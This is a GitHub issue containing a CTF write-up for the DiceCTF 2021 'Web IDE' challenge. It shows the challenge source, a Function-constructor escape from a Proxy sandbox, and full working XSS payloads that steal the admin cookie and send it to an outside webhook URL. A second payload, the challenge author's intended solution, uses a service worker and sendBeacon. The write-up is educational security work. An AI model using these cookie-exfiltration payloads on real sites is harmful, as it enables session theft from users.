aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

DiceCTF 2021 - Web IDE #19

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

It's like a Web IDE, you can write code on the UI and see the result:

Source code is available:

const express = require('express');
const crypto = require('crypto');
const app = express();

const adminPassword = crypto.randomBytes(16).toString('hex');

const bodyParser = require('body-parser');

app.use(require('cookie-parser')());

// don't let people iframe
app.use('/', (req, res, next) => {
  res.setHeader('X-Frame-Options', 'DENY');
  return next();
});

// sandbox the sandbox
app.use('/sandbox.html', (req, res, next) => {
  res.setHeader('Content-Security-Policy', 'frame-src \'none\'');
  // we have to allow this for obvious reasons
  res.removeHeader('X-Frame-Options');
  return next();
});

// serve static files
app.use(express.static('public/root'));
app.use('/login', express.static('public/login'));

// handle login endpoint
app.use('/ide/login', bodyParser.urlencoded({ extended: false }));

app.post('/ide/login', (req, res) => {
  const { user, password } = req.body;
  switch (user) {
  case 'guest':
    return res.cookie('token', 'guest', {
      path: '/ide',
      sameSite: 'none',
      secure: true
    }).redirect('/ide/');
  case 'admin':
    if (password === adminPassword)
      return res.cookie('token', `dice{${process.env.FLAG}}`, {
        path: '/ide',
        sameSite: 'none',
        secure: true
      }).redirect('/ide/');
    break;
  }
  res.status(401).end();
});

// handle file saving
app.use('/ide/save', bodyParser.raw({
  extended: false,
  limit: '32kb',
  type: 'application/javascript'
}));

const files = new Map();
app.post('/ide/save', (req, res) => {
  // only admins can save files
  if (req.cookies.token !== `dice{${process.env.FLAG}}`)
    return res.status(401).end();
  const data = req.body;
  const id = `${crypto.randomBytes(8).toString('hex')}.js`;
  files.set(id, data);
  res.type('text/plain').send(id).end();
});

app.get('/ide/saves/:id', (req, res) => {
  // only admins can view files
  if (req.cookies.token !== `dice{${process.env.FLAG}}`)
    return res.status(401).end();
  const data = files.get(req.params.id);
  if (!data) return res.status(404).end();
  res.type('application/javascript').send(data).end();
});

// serve static files at ide, but auth first
app.use('/ide', (req, res, next) => {
  switch (req.cookies.token) {
  case 'guest':
    return next();
  case `dice{${process.env.FLAG}}`:
    return next();
  default:
    return res.redirect('/login');
  }
});

app.use('/ide', express.static('public/ide'));

app.listen(3000);

The goal is to steal admin's cookie, so it's another XSS challenge!

First, we need to know how this web IDE works.

It's the ide html source code:


<!doctype html>
<html>
  <head>
    <title>Web IDE</title>
    <link rel="stylesheet" href="src/styles.css"/>
    <script src="src/index.js"></script>
  </head>
  <body>
    <div id="editor">
      <textarea>console.log('Hello World!');</textarea>
      <iframe src="../sandbox.html" frameborder="0" sandbox="allow-scripts"></iframe>
      <br />
      <button id="run">Run Code</button>
      <button id="save">Save Code (Admin Only)</button>
    </div>
  </body>
</html>

And src/index.js

(async () => {

  await new Promise((r) => { window.addEventListener(('load'), r); });

  document.getElementById('run').addEventListener('click', () => {
    document.querySelector('iframe')
      .contentWindow
      .postMessage(document.querySelector('textarea').value, '*');
  });

  document.getElementById('save').addEventListener('click', async () => {
    const response = await fetch('/ide/save', {
      method: 'POST',
      body: document.querySelector('textarea').value,
      headers: {
        'Content-Type': 'application/javascript'
      }
    });
    if (response.status === 200) {
      window.location = `/ide/saves/${await response.text()}`;
      return;
    }
    alert('You are not an admin.');
  });

})();

When user clicks "Run Code", it postMessage to the iframe sandbox.html, that's all.

Then, we need to check sandbox.html:

<!doctype html>
<html>
  <head>
    <script src="src/sandbox.js"></script>
    <link rel="stylesheet" href="src/styles.css"/>
  </head>
  <body id="sandbox">
  </body>
</html>

src/sandbox.js

(async () => {

  await new Promise((r) => { window.addEventListener(('load'), r); });

  const log = (data) => {
    const element = document.createElement('p');
    element.textContent = data.toString();
    document.querySelector('div').appendChild(element);
    window.scrollTo(0, document.body.scrollHeight);
  };

  const safeEval = (d) => (function (data) {
    with (new Proxy(window, {
      get: (t, p) => {
        if (p === 'console') return { log };
        if (p === 'eval') return window.eval;
        return undefined;
      }
    })) {
      eval(data);
    }
  }).call(Object.create(null), d);

  window.addEventListener('message', (event) => {
    const div = document.querySelector('div');
    if (div) document.body.removeChild(div);
    document.body.appendChild(document.createElement('div'));
    try {
      safeEval(event.data);
    } catch (e) {
      log(e);
    }
  });

})();

It listens to window.message event and pass the data to safeEval. It's wrapped in a Proxy so only window.console and window.eval are available.

We can see result at right side because it overrides console.log.

The first thing we need to bypass is the window proxy.

From what I know, there are couple of ways to execute arbitrary js:

  1. window.eval
  2. window.location + javascript pseudo protocol(javascript:)
  3. window.setTimeout and window.setInterval
  4. function constructor

We can choose the one without accessing window: function constructor!

([].map.constructor('alert(1)'))()

We can host our own html file and embed sandbox.html as iframe. Then we can post message to this iframe to do XSS.

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
    <script>
      function run() {
        window.frames.f.postMessage(`([].map.constructor('alert(1)'))()
        `, '*')
      }
    </script>
</body>

</html>

Replace alert(1) with alert(document.cookie), we can see the cookie:

Wait, where is the cookie?

I checked the source code again and found this:

app.post('/ide/login', (req, res) => {
  const { user, password } = req.body;
  switch (user) {
  case 'guest':
    return res.cookie('token', 'guest', {
      path: '/ide',
      sameSite: 'none',
      secure: true
    }).redirect('/ide/');
  case 'admin':
    if (password === adminPassword)
      return res.cookie('token', `dice{${process.env.FLAG}}`, {
        path: '/ide',
        sameSite: 'none',
        secure: true
      }).redirect('/ide/');
    break;
  }
  res.status(401).end();
});

The cookie has path: /ide but the path of sandbox.html is /, so we can't get cookie from /sandbox.html

I have tried couple of ways but none of them work, like:

  1. Change /sandbox.html to /ide/..%2fsandbox.html but script won't load
  2. Try to use iframe with src /ide but it fails because of X-Frame-Options
  3. Change location to /ide and alert document.cookie again

I also tried to google the keyword like: get subpath cookie ctf or get another path cookie but still can't find any useful resource.

Suddenly, I have an idea about window.open

The return value of the window.open is the window of the new tab. So if we can access this window object, maybe newWindow.document.cookie works?

So I tried this:

var w1 = window.open('https://web-ide.dicec.tf/ide')

// wait for window loaded
setTimeout(() => {
  alert(w1.document.cookie)
}, 2000)

To my surprise, it works!

I checked the mdn, it seems we can get window as long as it's same origin.

Combined with the function constructor, here is the final payload(I formatted it a bit for readability):

<!DOCTYPE html>
<html>
<head>

</head>
<body>
    <iframe name="f" onload="run()" src="https://web-ide.dicec.tf/sandbox.html"></iframe>
    <script>
      function run() {
        window.frames.f.postMessage(
          `([].map.constructor('
              var w1=window.open("https://web-ide.dicec.tf/ide");
              setTimeout(()=>{
                var c=document.createElement("img");
                c.src="https://webhook.site/b3d7bde5-a4c4-4794-a026-225bb6dec91d?c=1"+w1.document.cookie;
                document.body.appendChild(c)
              }, 2000)
            '))()`
          , '*'
        )
      }
    </script>
</body>

</html>

After host this file and send the link to admin bot, we can get the flag.

aszx87410 commented 3 years ago

Update:

The intended solution from author Ailuropoda Melanoleuca:
https://discord.com/channels/805956008665022475/808122408019165204/808143656946368512

<iframe id='f' src='https://web-ide.dicec.tf/sandbox.html'></iframe>
<script>
f.addEventListener('load', () => {
  f.contentWindow.postMessage(`[].slice.constructor('return this')().fetch("https://web-ide.dicec.tf/ide/save", {
  "headers": {
    "content-type": "application/javascript",
  },
  "body": "self.addEventListener('fetch', e=>{if (e.request.method != 'GET') {return;} e.respondWith(new Response('<script>navigator.sendBeacon(\\\\'CALLBACK URL HERE\\\\', document.cookie)</sc'+'ript>',{headers:{\\'content-type\\':\\'text/html\\'}}));});",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
}).then(response=>response.text()).then(path=>{[].slice.constructor('return this')().navigator.serviceWorker.register('/ide/saves/'+path, {scope: '/ide/saves/'})});`, '*');
setTimeout(() => {location = 'https://web-ide.dicec.tf/ide/saves/'}, 1000)
})
</script>

Use service worker + navigator.sendBeacon, amazing

aszx87410 commented 3 years ago

https://github.com/gr455/ctf-writeups/blob/master/dicectf21/web_ide.md